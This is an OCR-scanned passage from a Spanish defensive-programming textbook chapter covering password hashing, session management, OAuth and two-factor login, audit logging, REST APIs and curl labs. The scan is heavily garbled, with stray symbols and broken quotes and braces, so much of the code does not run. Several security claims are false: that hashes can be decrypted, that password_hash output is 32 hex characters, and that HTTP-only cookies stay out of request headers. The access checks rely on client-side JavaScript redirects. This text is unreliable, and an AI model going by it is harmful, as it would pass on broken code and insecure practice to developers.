wWw.sans.org 
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SANS es un acrónimo de SysAdmin, Audit, Network, Security (Administración de siste- 
mas, Auditoría, Red, Seguridad), empresa dedicada a la investigación, capacitación y cer- 
tificación en el campo de la seguridad; mantiene una lista de verificación como base para 
la seguridad de las aplicaciones en la red y los servidores de datos y web. La lista de 
verificación se puede encontrar mediante el siguiente enlace: 


www.sans.org/reading-room/whitepapers/securecode/security-checklist-web- 
applicationdesign-1389 


Evaluación de riesgos 

Autenticación 

Autorización y control de acceso 
Administración de sesiones 

Validación de datos y entrada 

Cross site scripting (XSS) 

Errores en la inyección de comandos 

Buffer overflows (sobreflujos del amortiguador) 
Manejo de errores 

Registros de auditoría 

Administración remota 

Aplicación en la red y configuración del servidor 


9 ©% è è 48 è 18 è 4 4. 4. 4 


7.7.3 Access Control (Gestión de acceso) 


Con base en la lista OWASP que hemos estudiado en el capítulo anterior, revisaremos 
esta relación y veremos hasta qué punto podemos prevenir o combatir las vulnerabilida- 
des utilizando buenas prácticas de codificación. Al final de esta sección, deberás dominar 
los siguientes conocimientos y habilidades. 


Gestión de acceso 

Autenticación con algorítmos hashing 
Gestión de sesiones 

Autenticación multi factor (MFA) 
RESTful API 


9 è >è è e 


Gestión de acceso 


La gestión de acceso comprende la autenticación y autorización para el acceso a infor- 
mación; controla los datos de autenticación tales como nombres de usuarios, contrase- 
ñas, número de identificación personal (NIP), escaneos biométricos y claves digitales. 


Tokens (etiquetas) 


Un enfoque común es proteger todos los formularios en la aplicación que tengan un 
efecto, es decir, que cambien o eliminen información con un token (etiqueta); éste es una 
clave secreta que sólo el servidor puede saber y que se envía con un formulario cada vez. 
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El token se agrega al formulario y se envía con la petición. Cuando entra una solicitud, el 
servidor puede verificar si la etiqueta es conocida y correcta. Otras personas difícilmente 
pueden tener conocimiento del token correcto y, por lo tanto, difícilmente pueden falsifi- 
car la petición. 


Autenticación con algorítmos Hashing 


Autenticación es el proceso de verificar la identidad de un usuario. Para proteger datos 
importantes, como de tarjetas de crédito y contraseñas, usamos algoritmos de hashing. 
Los datos encriptados pueden almacenarse de manera segura en una base de datos y, 
si es necesario, descifrarse o decodificarse de nuevo y comparase por ejemplo con los 
datos de ingreso de un usuario. 


En la siguiente figura vemos una contraseña a la cual se le ha aplicado hash con una 
sal. Una sal puede ser una marca de tiempo (una “marca de tiempo” generada automáti- 
camente, como día/mes/año) o un número aleatorio. El algorítmo hashing agrega una sal 
por ejemplo a una contraseña y crea un valor hash. 


contraseña 


sal resultado hash 
Figura 7.3 Algorítmo hash 


El algorítmo hash cifra por ejemplo una contraseña con una sal y crea un texto hexadeci- 
mal. Supongamos que archivo.txt contiene el número 123. Si empleamos el algorítmo 
sha256sum de la siguiente manera: 
Sha256sum archivo.txt 
Produce el siguiente cifrado hash: 
181210f8f9c779c26da1d9b2075bde0127302ee0e3fca38c9a83f5b1dd8e5d3b 
Pero si archive. txt contiene el número 124, el algorítmo produce un valor hash distinto: 


cazebdf97d7469496b1f4b78958f9dc8447efdcb623953fee7b6996b762f6fff 


Así, podemos comprobar si un texto ha sido alterado. 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 209 


A 


Capítulo 7 Secure Software Lifecycle (SSLC) AA Alfaomega 


Hashing con PHP 


PHP utiliza el método password_hash() para el hasheo de contraseñas. Este método 
hace uso de los algoritmos de encriptación más recientes. En el proceso de encriptación 
se genera una sal. El método lo usamos de la siguiente manera: 


$cifrado = password_hash($contraseña, PASSWORD_DEFAULT); 
PASSWORD_DEFAULT permite utilizar los algorítmos más recientes. Enseguida vemos un 


ejemplo de una contraseña encriptada. El resultado es una conversión a 32 caracteres 
hexadecimales en función de la entrada original, por ejemplo: 


Fd0/to7Y/ 


say x36WUKNPOIndHdkdR9Ae3K 


6z7GKa9kpDN7KC3ICW1Hi. 


Algoritmo Opciones Contraseña hash 


La primera y segunda parte contienen información necesaria para el cifrado y descifra- 


do de la contraseña. Para verificar un cifrado contra tu contraseña utilizamos el método 
password_verify() de la siguiente manera: 


$verificación = password_verify($contraseña, $cifrado); 


Aquí se compara un cifrado con una contraseña no cifrada. El resultado será verdadero 
o falso. 


Hashing con Java 


En Java se utiliza el método SHA512 de la siguiente manera: 


public static byte[] contraseñaHash( 

final char[] contraseña, 

final byte[] sal, 

final int iteraciones, 

final int longitudDeLLave > { 

SecretKeyFactory skf = SecretKeyFactory.getInstance( 
“PBKDF2WithHmacSHA512” ); 

PBEKeySpec spec = new PBEKeySpec( 
contraseña, sal, iteraciones, longitudDeLLave); 

SecretKey key = skf.generateSecret( spec ); 

byte[] resultado = key.getEncoded( ); 

return resultado; 


} 


Aquí utilizamos el algorítmo Password Based Key Definition 2 (PBKDF2) en SHA512 de la 
siguiente forma: 
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è Sales un valor al azar de 32 bytes como mínimo 
è  Iteraciones es el número de iteraciones del algorítmo 
+ longitudDeLLave debe ser 256 bytes como mínimo 


Hashing con C# 


En C# podemos usar el algorítmo SHA512 como sigue: 


byte[] contraeña = new byte[LONGITUD]; 
byte[] resultado; 

SHA512 shaM = new SHA512Managed() ; 
resultado = shaM.ComputeHash(contraeña) ; 


LABORATORIO 710 Script de acceso 1 


Codifica un script (en tu lenguage de preferencia) al lado del cliente con un 
formulario de acceso, y otro script al lado del servidor para crear el hash de la 
contraseña. 


Gestión de sesiones 


La gestión de sesiones es el proceso mediante el cual se siguen las actividades de los 
usuarios entre las diferentes sesiones (el momento en que el usuario inicia una). Esta ges- 
tión implementa las cookies de la sesión y las etiquetas de un usuario verificado. 


En el momento en que se inicia una sesión se crea una etiqueta en forma de cookie. 
Podemos utilizar esta identificación para verificar los privilegios del usuario, por ejem- 
plo, preguntando para cada página si el usuario tiene derechos de acceso. Las cookies 
deben ser sólo cookies HTTP-only, para que no sean visibles en los encabezados de 
las solicitudes. 


Los hackers pueden atacar aplicaciones desprotegidas con scripting de sitios cru- 
zados (XSS) para abusar de cookies y token (etiquetas). Una buena gestión de sesión 
protege contra el robo y el abuso de cookies y token (etiquetas). 


Implementar privilegios basándose en la autenticación 
Implementar nombres de usuario y contraseñas sensibles a letras mayúsculas, es 
decir, que las reconozcan 
+ Implementar una política de contraseñas segura: 
- Diez caracteres de longitud 
- Sensible a letras mayúsculas, es decir, que se reconozcan 
- Al menos un número (0-9) 
- Al menos un carácter especial (18.44%) 
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Aplicar hash a las contraseñas en la base de datos 
+ Aplicar hash a la entrada del usuario y compararla con la cadena hash en la base 
de datos 
+ Usar la Autenticación Multifactorial (MFA) para iniciar una sesión: 
- Contraseñas 
- Token (etiquetas) 


+ Implementar herramientas de autenticación, tales como: 
- OAuth2 
- OpenID 
- SAML 


+ Utilizar el protocolo HTTPS al iniciar sesión 
+ Crear cookies con el atributo HTTP-only 
+ Usar cookies de sesión con fecha de caducidad 


Sesiones en PHP 


En PHP iniciamos una sesión de la siguiente manera: 
session_start(); 


Este método crea el arreglo global $_SESSION[] y un identificador único por sesión. El 
método session_id() nos provee el identificador. En el siguiente ejemplo guardamos el 
identificador en el arreglo de sesiones: 


$_SESSION[“ID”] = session_id); 


Después de verificar los datos del usuario podemos autorizar el acceso a la información 
según el rol del mismo. Por ejemplo en PHP: 


if($verificado) { 

session_start(); 

$_SESSION[“ID”] = session_id(); 

if($rol == “Administrador”>)í 
echo “<script> 
location.href=*index.php?pagina=admin; 
</script>”; 

Felseif($rol == “Usuario”)f 
echo “<script> 
location.href= 
“index .php?página=usuario; 
</script>”; 

Felse { 
echo “<script> 
location.href= 
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“index .php?página=home; 
</script>”; 


} 


Para controlar el acceso a la información específica por página podemos hacer lo siguiente: 


if(lisset($_SESSION[“ID”]) 88 $rol != “Administrator”){ 
echo “<script> 
alert(‘Usted no tiene autorización para accesar esta 
página”); 
location.href=’ ../index.php’ ; 
</script>”; 


Sesiones en JAVA 


En JAVA creamos sesiones con el método de HttpServletRequest getSession() de 
la siguiente manera: 


HttpSession nieuwSession = request.getSession(); 


Usa este método antes de enviar una repuesta. El método getSession() da como re- 
sultado un objeto session. Si aún no existe una sesión, se crea un nuevo objeto sesión. 


Si empleamos el parámetro false entonces obtenemos la sesión existente y no se crea 
una nueva: 


HttpSession sesión = request.getSession(false); 
Si empleamos el parámetro true creamos una nueva sesión: 
HttpSession sesión = request.getSession(true); 
Por ejemplo, el siguiente método se realiza solamente si ya existe una sesión: 


public void postTransactie (HttpServletRequest req, 
HttpServletResponse res) throws ServletException, IOException 


1 
if C HttpSession sesión = req.getSessioní(false) > { 
// sesión existente. Mostrar página solicitada. 
jelseí 
// error: 
// Usted no tiene acceso a la página solicitada. 
k 
F 
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En el siguiente ejemplo hacemos uso del método getId() para obtener la propiedad id 
del objeto sesión. La propiedad id es una cadena única mantenida por el servidor: 
String IDsesión = sesión.getld(); 


El siguiente enlace da más información sobre sesiones en JAVA. 


https: //docs.oracle.com/cd/E19857-01/819-6518/gcxvp/index.html 


Sesiones en CF 


En Cf la clase Session es un diccionario con atributos y valores. Por ejemplo: 


Session.Add(“usuario”, “Juan”); 
Session.Add(“apellido”, “Juanes”); 


Session[“usuario”] = “Juan”; 
Session[“apellido”] = “Juanes”; 


Obtenemos el ID de la sesión de la siguiente manera: 


string IDsesión; 
IDsesión = HttpContext.Current.Session.SessionID 


LABORATORIO 711 Sesiones 2 


Codifica un script al lado del servidor en el lenguaje de tu preferencia para crear 
una sesión para un usuario. 


Autorización con sesiones 


Una sesión es una serie de datos compartidos entre el usuario y el servidor. Estos datos 
los podemos usar en otras páginas sin necesidad del método POST. Aplicaciones tales 
como banco y tiendas en línea hacen uso de sesiones para manejar la autorización e 
interacción de usuarios de una manera segura. Podemos definir variables dentro de una 
sesión, tales como preferencias del usuario. Estas variables estarán disponibles durante 
toda la sesión. 
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Autorización por medio de un rol 


Para controlar autorizaciones podemos hacer uso de roles. Por ejemplo: 


rol = ‘usuario’ para usuarios registrados 
rol = ‘administrador’ para administradores 
rol = null para páginas públicas 


¿cual es su rol? 


/ 


¿rol verificado? / 


"y / 
k Fá 


N g 
sı N/ NO 


ver página A | ver página B 


Figura 7.4 Autorización basada en rol 
Este diagrama se codifica de la siguiente manera: 


ifC$rol == “AMÁÍ 

echo “<«script>Location.href=*index.php?página=A” </script>”; 
jelseif($rol == ‘B’){ 

echo “<«script>Location.href=*index.php?página=B”;</script>”; 


} 


Renovación de sesiones 


La mayoría de los marcos para el desarrollo de software proveen métodos para la reno- 
vación de sesiones. Con estos métodos podemos crear y borrar sesiones. 


Java 
request.getSession(true) 


y 
HttpSession.invalidate(> 


CH 
Session.Abandon() 


y 
Response.Cookies.Add( new...) 
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PHP 
session_start) 


lo) 
session_regenerate_id(true) 


y 
sesión_destroy() 


EL parámetro true hace que la sesión activa se elimine y false hace que la sesión no 
se elimine. 


Fijación de sesión 
La fijación de sesión (session fixation) es un ataque donde un hacker roba la sesión activa 


de un usuario con el propósito de obtener acceso a la aplicación. Un hacker puede robar 
sesiones de las siguientes tres maneras: 


+  Adivinando la ID de la sesión. 

+  Robando la ID de la sesión con la ayuda de malware, escaneos de la red o con 
exploits JavaScript que permiten robar cookies. 

+ Creando su propia ID de sesión. 


Es por esto que debemos crear nuevas ID de sesiones regularmente, por ejemplo cuan- 
do se ingresa a la aplicación y cuando se otorgan nuevos privilegios al usuario. 


LABORATORIO 712 Generar sesiones 2 


En este ejercicio de laboratorio vemos un ejemplo de cómo crear nuevas 
sesiones. Abre un nuevo archivo y guárdalo como generarSesiones.php y 
agrégale los siguientes códigos: 


<?php 
function generarSesiones($nombreDeSesión) 


1 


// controlar si esta sesión está desactivada: 
if(isset($ SESSION[ *DESACTIVADA”7) |1 $_SESSION[ *DESACTIVADA”] == true) 
return; 


// desactivar esta sesión en 10 segundos: 
$_SESSION[ *DESACTIVADA”] = true; 
$_SESSION[ *TIEMPO_DE_EXPIRACION”] = time) + 10; 


// generar nueva sesión sin eliminar la sesión desactivada: 
session_regenerate_id(false); 
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// guardar nueva ID de sesión nueva y eliminar las dos sesiones: 
$nuevaID = session_id(); 
session_write_close(); 


// iniciar nueva sesión con nueva 1D y nombreDeSesión: 
session_id($nuevalD); 

session_name($nombreDeSesión); 

session_start(); 

$_SESSION[“ID”] = session_id(); 
$_SESSION[“NOMBRE_DE_SESION”] = $nombreDeSesión; 


// borrar los siguientes valores de la nueva sesión: 
unset($_SESSTON[ *DESACTIVADA”7); 
unset($_SESSTION[ *TIEMPO_DE_EXPIRACION”]); 


} 


// para realizar pruebas añade lo siguiente 


// generar sesión para usuario 
generarSesiones(“usuario”); 


// mostrar el arreglo SESSION: 
print_rC($_SESSION); 


// generar sesión para administrador: 
generarSesiones(“admin”>; 


// mostrar el arreglo SESSION: 
print_r($_SESSION); 
?> 


El resultado debe ser parecido al siguiente: 


Array ( [ID] => 5613eaaf5c0fcdf64f2f4909655b843b [NAAM] => usuario > 


Array ( [ID] => labb76131a718cda97837e6af027cc66 [NAAM] => admin ) 


Marcos de autenticación (OAuth) 


OAuth es un estándar que te permite delegar la autenticación de los usuarios a una 
aplicación de un tercero. Después de que se haya realizado la autenticación correcta, 
podemos autorizar el acceso a nuestro servicio. El usuario debe dar permiso a un tercero 
para la verificación de autenticación. El usuario no necesita teclear una contraseña. Por 
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ejemplo, si se desea conocer la dirección de correo electrónico correcta del usuario, 
Google lo puede verificar por ti. Ejemplos de marcos de autenticación son: 


+ OAuth2 
+ OpenID 
+ SAML 


Autenticación multifactorial (MFA) 


La autenticación multifactorial es un método de acceso a la computadora donde el usua- 
rio tiene que especificar diferentes “fragmentos” de información para obtener acceso a 
un sistema. Esas partes de información deben ser al menos dos de las siguientes: 


+ Algo que sabes (contraseña) 
+ Algo que tienes (etiqueta de la sesión) 
+ Algo que eres (huella digital) 


2-Factor autenticación 


Enseguida vemos un fragmento de código para una autenticación 2-F que hace uso de 
la cuenta G-mail del usuario de nuestra aplicación. Para poder usar este servicio, deberás 
registrarte como desarrollador de software en Google vía el siguiente enlace: 


https://console.developers.google.com 


Así, obtienes tu propio client_id y client_secret de Google. Utilizamos estos datos como 
en el siguiente ejemplo: 


LABORATORIO 713 Autenticación 2F en PHP fal 


<?php 
session_start(); //iniciar sesión 
require_once (‘libraries/Google/autoload.php’); 


// Aquí provees tu ID de cliente y secreto obtenidas en: 
// https://console.developers.google.com/ 

$client_id = ‘XXXXXXXXXXXXXXXXXX? ; 

$client_secret = ‘XXXXXXXXXXXXXXXXXXXXXXXXXXXXX? ; 


// Redireccionar al URI de tu aplicación 
$redirect_uri = ‘http://localhost/app/home/’ ; 


// Al terminar sesión 

if Cisset($_GET[‘logout’])) { 
//seston_unset(); 
unset($_SESSION[ “access_token”]); 
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} 


© F k ode ode k ode ode ole ode de ode k de ak k e FK FK aK 3K 3K k od ode fe ode k ode ÞK FK FK de FK K de FK K FK ÞK K ÞK ÞK FK FK 


Aquí eres tu el cliente del servicio de Google 
Provee tus datos de cliente 
Ef 
$client = new Google_ClientO); 
$client->setClientld($client_id); 
$client->setClientSecret($client_secret); 
$client->setRedirectUri($redirect_uri); 
$client->addScope(“email”); 
$client->addScope(“profile”); 


Y AAA dde ode ode ode ode ole ode de ode o ode e K e o FK K FK 3K k of ode fe ode ode ode ode le ode le le o de ole de RR 


Aquí pides acceso al servicio de OAuth 2.0. 
*/ 
$service = new Google_Service_0auth2($client); 


Y AAA de od ode ode ode ode ode ole ode de ole oe de e oe a e od od a dd fe od ode fe ode ode de ode ole de le de e de de e e e RR 


Si todo marcha bien recibes un código y una etiqueta del 
servicio OAuth 2.0 
Si el método authenticate() verifica tu código obtienes acceso 
a la aplicación via $redirect_uri. 
Luego termina la autenticación. 
*/ 
if (isset($_GET[“code*D) { 
$client->authenticate($_GET[‘code’]); 
$_SESSION[‘access_token’] = $client->getAccessToken(); 
$redirect = 
“http://” .$_SERVER[ ‘HTTP_HOST?’ ].$_SERVER[‘PHP_SELF’]; 
header( “Location: * . filter_var($redirect, 
FILTER_SANITIZE_URLD)); 
exit; 


} 


Y AAA k de ode ode ode ode ole ode le ole e de ak k a ak FK Fk ak dd fe of ode fe ode k de ək de de le de K le de K de ÞK K ÞK K FK K 
Con la etiqueta proporcionada por Google podemos pedir información 
de la cuenta Gmail del usuario de nuestra aplicación. 
*/ 
if (isset($_SESSION[ “access_token”]) 88 $_SESSION[ “access_token”]) 
1 
$client->setAccessToken($_SESSTON[ “access_token”7); 
// Información de la cuenta Gmail del usuario 
$usuario = $service->userinfo->get(); 
$nombre = $ usuario->name; 
$foto = $ usuario->picture; 
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$correoE = $ usuario->email; 
print “Nombre: {$nombre} <br>”; 
print “Foto: {$foto} <br>”; 
print “correoE: {$correoE} <br>”; 
} else { 
// Obtener URI de OAuth 2.0 API 
$authUrl = $client->createAuthUrl(); 
// Mostrar botón de Google para iniciar la autenticación. 
echo ‘<a class=”login” href=””.S$authUrl.””> 
<img src=”images/google-login-button.png” /></a>”; 


La autenticación de dos factores (FA) es una forma de autenticación multifactorial, don- 
de dos componentes diferentes son suficientes/necesarios para verificar una identidad. 


solicitud de 
autenticación 


GET recurso 
aquí está mi token controlar 


token 


recurso 
Figura 7.5 Autenticación multifactorial 


En el siguiente enlace encontrarás instrucciones sobre el servicio OAuth de Google: 


https://oneminutedistraction.wordpress.com/2014/04/29/using-oauth-for-your-ja- 
vaee-login/ 


Google cuenta con bibliotecas y herramientas para desarrolladores de software para el 
uso de las especificaciones delOAuth 2.0. 
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https://developers.google.com/identity/protocols/OAuth2ServiceAccount*overview 
Además, podemos experimentar con el siguiente enlace: 


https://developers.google.com/oauthplayground/ 


LABORATORIO 714 Cuenta Google para desarrolladores 2 


Si todavía no has obtenido tu cuenta de desarrollador de Google, hazlo ahora 
mismo. Utiliza el siguiente enlace: 


https://console.developers.google.com 


LABORATORIO 715 Script para una Autenticación 2f fal 


Codifica tu script en el lenguaje de tu preferencia para la autenticación 2-F. Utiliza 
tu propio client_id y client_secret. 


Consulta si es necesario ir al siguiente enlace: 


http://usefulangle.com/post/9/google-login-api-with-php-curl 


7.7.4 Manejo de errores 


Durante la ejecución de una aplicación pueden ocurrir errores, por ejemplo, cuando 
un usuario ingresa datos incorrectos. Otro tipo de error es uno de programación o 
cuando falla la comunicación entre dos sistemas. También pueden ocurrir otros errores 
inesperados. 


Como programador, intentamos identificar y tratar todos los posibles errores con los 
mensajes correctos. 


En caso de errores inesperados, debemos elaborar procedimientos que informen el 
tipo, la hora y el lugar del error. 


Errores del usuario 


Identifica los errores del usuario y considera los mensajes correctos para alertar de los 
mismos. Prueba/captura (try/catch) y cambia las notificaciones predeterminadas como 
“archivo no encontrado” o mensajes de error de consulta SQL. Sin embargo, no hay 
que proveer información técnica como nombres de tablas ya que ésta puede ser útil 
para un hacker. 
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El registro de los errores del usuario es esencial para detectar el acceso no autorizado 
a la aplicación. 


Crea entradas de registros de auditoría para lo siguiente: 


+ è . 2 


Iniciar sesión 

Salir de la sesión 

Inicio de sesión fallido 
Entrada de datos fallida 


Se menciona lo siguiente: 


+ è% è è e. 


Hora 

Fecha 

ID del usuario 
Dirección IP 
Código de error 


El registro de auditoría del usuario contendrá información crítica sobre los usuarios de la 
aplicación y, por lo tanto, debe estar encriptado. 


Errores de proceso 


Identifica los errores que deben incluirse en un registro de proceso. Se menciona lo 
siguiente: 


+ è . e 


Hora 

Fecha 

ID del usuario 
Nombre del proceso 


El registro de auditoría de los eventos contendrá información crítica sobre el funciona- 
miento de la aplicación y, por lo tanto, debe estar encriptado. 


Errores del sistema 


Cuando se produce un error del sistema debido a que el programa presenta problemas/ 
fallas, tenemos que tomar medidas especiales para hacer que dicho sistema alcance el 
estado “fail close” y bloquear el acceso al mismo o a la aplicación. 


El registro de auditoría de los errores del sistema es esencial para reconstruir el even- 
to. Tal registro contendrá información crítica sobre el funcionamiento de la aplicación y, 
por lo tanto, debe cifrarse. 


Se pueden detectar más errores durante la fase de prueba. 
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Registro del administrador 


Integra todas las actividades del administrador de la aplicación en un registro del admi- 
nistrador. Registra con certeza los siguientes elementos: 


+ La eliminación de información 
+ El cambio de información 
e Agregar información 


El registro de auditoría del administrador contendrá información crítica sobre el funciona- 
miento de la aplicación y se debe cifrar. 


7.7.5 RESTful API 


Una API es una Application Programming Interface (interfaz de programación de aplica- 
ciones). Se trata de una pieza de software que se comunica con otro. Con las API pode- 
mos usar servicios en la red en nuestras aplicaciones. Se ejecuta una API con el URI de 
la misma. 


Un recurso de Internet, tal como un documento web, se identifica mediante su URI y se 
puede representar en los siguientes formatos: 


JSON 
XML 
JSV 
HTML 


+ è è 9 


Ejemplo de una API 


Un ejemplo de una API es: 


maps .googleapis .com/maps/api/geocode/json?adres=amsterdam&sensor=false 


Esta API de Google proporciona como servicio web los datos de una determinada ubica- 
ción (en este caso, Amsterdam) en un arreglo JSON. Al usar este servicio web podemos 
usar la información en nuestras aplicaciones. 


Las API RESTful son API que cumplen con todas las siguientes restricciones (requisitos): 


Interfaz uniforme 
. Sin estado 
. Cliente/Servidor 
. Puede ponerse en la memoria caché 
. Sistema de capas 
. Código bajo demanda 


NO 0 buw0N > 
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a= C | © maps.googleapis.com/maps/api/geocode/json?address=amsterdam i | 


"formatted_address" : "Amsterdam, Nederland", 
"geometry" : ( 
"bounds" : { 
"northeast" : { 
"lat" : 52.4311573, 
"ing" : 5.0683903 
», 
"southwest" : ( 
"lat" : 52.3182742, 
"lng" : 4.7288558 


) 
}, 
"location" : { 
"lat" : 52.3702157, 
"lng" : 4.895167900000001 


Figura 7.6 Respuesta de API geocode de Google 


Interfaz uniforme 


Una API RESTful usa la URI para el direccionamiento de la API. Hace una representación 
(copia) de la fuente utilizando el método HTTP GET. 


Una API RESTful manipula la representación de la fuente y luego utiliza el método PUT 
y el URI para actualizar la fuente original. 


Sin estado 


Una API RESTful carece de estado. Ejemplos de interacciones REST sin estado son: 


+ Estado 1: El usuario busca una fuente a través de una dirección URI. El servidor 
recupera la fuente utilizando el método GET. 

+ Estado 2: El usuario recibe una representación de la fuente en forma de una página 
HTML o un documento XML o JSON. 

+ Estado 3: El usuario hace clic en un enlace de la representación. Al hacer clic en 
los hipervínculos de la representación de la fuente se obtienen nuevos estados, 
por ejemplo, una nueva página web. (El usuario cambia de estado con cada nueva 
representación, de ahí el término REST: Representation State Transfer o transferencia 
de representación del estado). 


Cliente-servidor 


Una API RESTful usa el protocolo HTTP o HTTPS, es decir, el protocolo para la arquitectu- 
ra cliente-servidor. Si queremos ver la siguiente página web ficticia, escribimos la solicitud 
en el navegador: 


http://ejemplo.org/noticias/ 
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El encabezado de la solicitud es el siguiente: 
GET /news/ HTTP/1.1 


HOST: ejemplo.org 
Accept-Encoding: compress, gzip 
User-Agent: Python-httplib2 


El encabezado de la respuesta se ve así: 


HTTP/1.1 200 Ok 
Date: Fri, 14 Apr 2018 14:55:00 GMT 


Server: Apache 


ETag: “65b89834b3838439c3e989” 
Content-Type: tekst/html 
Cache-Control: max-age=3600 


La representación se ve así: 


<!DOCTYPE HTML> 
<html> 
<head> 


<script src= “jJavascript.js” 
type= “text/javascript”> 
</script> 


</head> 
<body> 
<p> 
<img src= “/images/image.png”> 


<a href= “/Lleermás.html”> Leer más</a> 
</p> 
</body> 
</html> 


El cuerpo es el contenido de la fuente. 


Los métodos HTTP tienen diferentes características. Enseguida se muestra una lista 


de métodos y características: 


+ Método GET: Es seguro, idempotente (ver más abajo), se pone en la 


memoria caché 
+ PUT es idempotente 
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+ DELETE es idempotente 
+ HEAD es seguro, idempotente 
+ POST 


Idempotente significa que el método puede ejecutarse varias veces pero el resultado en 
la fuente siempre permanece igual. 


Se coloca en la memoria caché 


Una API RESTful debe ser almacenable en la memoria caché. Las respuestas en dicha 
memoria permanecen en el caché de tu navegador de forma temporal. En el encabezado 
de la respuesta vemos si ésta puede ponerse en dicha memoria. 


Cache-Control: max-age=3600 


En este caso, la respuesta permanece en la memoria caché durante una hora. Si se hace 
la misma solicitud en una hora obtendrás la respuesta mucho más rápido desde la me- 
moria caché del navegador que desde el servidor. Esto hace que la API sea más eficiente. 


Sistema de capas 


Una API RESTful usa la arquitectura multicapa cliente/servidor/almacenamiento. El cliente 
no tiene que saber nada sobre el software o hardware entre cliente-servidor. 


Código bajo demanda 


El servidor puede enviar código al cliente, por ejemplo JavaScript y entonces ejecuta el 
código. Éste debe agregarse en el elemento principal HTML, por ejemplo: 


<head> 
<script src= “javascript.js” 
type= “tekst/javascript”> 
</script> 
</head> 


HATEOAS 


HATEOAS (Hypermedia As The Engine Of Application State o los hipermedios como el 
motor del estado de la aplicación) es el concepto que refiere que las aplicaciones, los 
requisitos de datos y la ruta de un recurso pueden cambiar, pero tales modificaciones 
no deben tener consecuencias para el software del cliente. El énfasis se encuentra en 
los hipermedios. Hypermedia significa que el recurso contiene datos pero también hi- 
pervínculos, los cuales luego conducen al siguiente estado. Por ejemplo: 
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{“dato”: {“usuario”: {“correo”: “email”}}, 
“_links”: {“edit”: {“href”: “/api/usuario/id/1”}}, 
sig”: “17 


Mensaje de error API 


El recurso devuelto contiene los datos más el URI a los posibles estados. Los códigos de 
estado HTTP son: 


200: La solicitud tuvo éxito 

201: Creado 

300: Redirección 

- 301: Movido permanentemente 
- 302: Movido temporalmente 

- 304: Sin cambio 


+ 400: Problema con la solicitud 
- 401: Solicitud no autorizada 
- 403: Prohibido, sin acceso 
- 404: Recurso no encontrado 
- 405: Método no permitido 


+ 500: Problema con el servidor 


Los mensajes de error de la API deben dar una descripción clara de lo que falló para que 
el desarrollador de la aplicación web pueda ajustar su código. 


¿“data”: “usuario”: “correo”: “email”}}, 
“links”: {“edit”: ¿“href”: “/api/usuario/id/1”PP, 
“melsaje”: { “Error”: {“no se encontró id” PP, 
“dr “> 


Compatibilidad con versiones anteriores 


Las actualizaciones de la API no deberán tener consecuencias imprevistas para sus usua- 
rios. En el encabezado el programador puede transmitir al cliente información sobre las 
versiones más nuevas. 


Todos los lenguajes de programación tienen una función de encabezado, donde el 
programador mismo puede generar un encabezado HTTP para el cliente. Por ejemplo: 


header(“Cache-Control: no-cache”) 
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Marcos de referencia REST ful API 


Los marcos de referencia más comunes para programar API son los siguientes: 


9 ©% è è . + 


SWAGGER 

AWS API Gateway 
Spring (Java) 
Express (Node.js) 
Django (Python) 
Slim (PHP) 


Las API se comunican directamente con su sistema back-end (punto a punto). Para hacer 
que las API se comuniquen entre sí, se usa la herramienta Curl. 


7.7.6 La herramienta Curl 


Curl es una herramienta para manipular solicitudes http/https y el manejo de respuestas 
http/https. Podemos hacer solicitudes directamente con Curl y obtener las respuestas. En 
esta sección usamos Curl http scripting. 


Una solicitud RESTful HTTP consta sencillamente de textos (el header de la solicitud) 
cuando un cliente envía una solicitud al servidor. El servidor lleva a cabo la solicitud y 
responde primero con el header de la respuesta con información sobre la ejecución de 
la solicitud y luego con la información requerida. La acción más sencilla de una solicitud 
a un servidor http es una GET. Ésta puede ser una solicitud a un recurso tal como una 
página html, una imagen o un registro en una base de datos. En Internet identificamos 
estos recursos con su URI (Identificador Uniforme de Recurso), lo cual se puede hacer con 
Curl de la siguiente manera: 


curl https: //ejemplo.net 


Lo que da como resultado la página web de este URI. 


LABORATORIO 7146 Ejemplo del método GET 2 


Codifica el siguiente script y guárdalo con el nombre getReservación.php en una 
nueva carpeta REST/Reservaciones bajo la de tu localhost. 


<?php 

// en este ejemplo utilizamos Curl para solicitar un recurso 
// de la API GetReservaciónApi 

$servicio_url = “*http://localhost/REST/Reservaciones/ 
GetReservaciónApi .php?id=1? ; 

$curl = curl_init($servicio_url); 

curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
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$curl_respuesta = curl_exec($curl); 
if ($curl_respuesta === false) { 
$info = curl_getinfo($curl); 
curl_close($curl); 
die(*Error durante ejecución de Curl: “ 
var_export($info)); 
j 
curl_close($curl); 
// Ta respuesta descifrada 
$descifrado = json_decode($curl_respuesta,true); 
echo $descifrado[“mensaje”]; 
echo “<br>Código http: “.$fdescifrado[“código_http”]; 
?> 


Ahora explicamos algunos aspectos del código: 


$servicio_url es el URI de la RESTful API. 

curl_init($servicio_url) inicializa el servicio. 

curl_exec($curl) ejecuta la solicitud de servicio. 
json_decode($curl_respuesta,true) descifra y convierte la respuesta en 
un arreglo. 


En el siguiente laboratorio codificamos la API GetReservaciónApi. 


LABORATORIO 7.117 GetReservaciónApi 2 


Codifica el siguiente script y guárdalo con el nombre GetReservaciónApi.php en 
la carpeta REST/Reservaciones 


<?php 

class GetReservaciónApi { 
public $datosAretornar = “” ; 
public function enut 
} 


public function getServicioO)Í 
$mensaje = “Servicio GET ejecutado.”; 
$código_http = “200”; 
$datosAretornar = array( 
“mensaje” => $mensaje, 
“código_http” => f$fcódigo_http 
); 
$this->respuesta($datosAretornar); 
} 


public function respuesta($datosAretornar){ 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 229 


Capítulo 7 Secure Software Lifecycle (SSLC) ÂA Alfaomega 


header( “HTTP/1.1 “); 
header(“Access-Control-Allow-Origin: *”); 
header(“Content-Type: application/json; charset=UTF-8”); 
echo json_encode($datosAretornar>); 
exit; 
J 
} 
// Solicitar servicio 
$api = new GetReservaciónApi(); 
$api->getServicio(); 
?> 


Para solicitar el servicio hemos instanciado la clase GetReservaciónApi y hemos eje- 
cutado el método getServicio(). Este método proporciona $datosAretornar al 
método respuesta() el cual envía los headers y $datosAretornar a la aplicación cliente 
(getReservación.php). 
Prueba estos dos scripts en tu localhost. Teclea lo siguiente en la barra de tu navegador: 
localhost/REST/Reservaciones/getReservación.php 


El resultado deberá ser el siguiente: 


Servicio GET ejecutado. 
Código http: 200 


LABORATORIO 718 Actualizar con el método PUT 2 


Codifica el siguiente script y guárdalo con el nombre putReservación.php en la 
carpeta REST/Reservaciones 


<?php 
$servicio_url = “*http://localhost/REST/Reservaciones/ 
